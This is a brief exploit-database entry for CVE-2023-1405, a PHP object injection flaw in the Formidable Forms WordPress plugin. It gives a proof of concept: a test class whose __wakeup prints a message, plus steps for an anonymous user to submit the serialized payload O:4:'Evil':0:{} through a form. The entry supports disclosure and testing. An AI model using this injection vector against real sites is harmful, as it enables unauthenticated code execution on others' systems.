Exploit for Formidable Forms < 6.2 - Unauthenticated PHP Object Injection CVE-2023-1405

## https://sploitus.com/exploit?id=WPEX-ID:8C727A31-FF65-4472-8191-B1BECC08192A
To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

1. Active this plugin and create a simple form.
2. Embed form in existing page.
3. Use anonymous user to fill in the text field with O:4:"Evil":0:{} and submit that form.
4. You will see the "Arbitrary deserialization" result.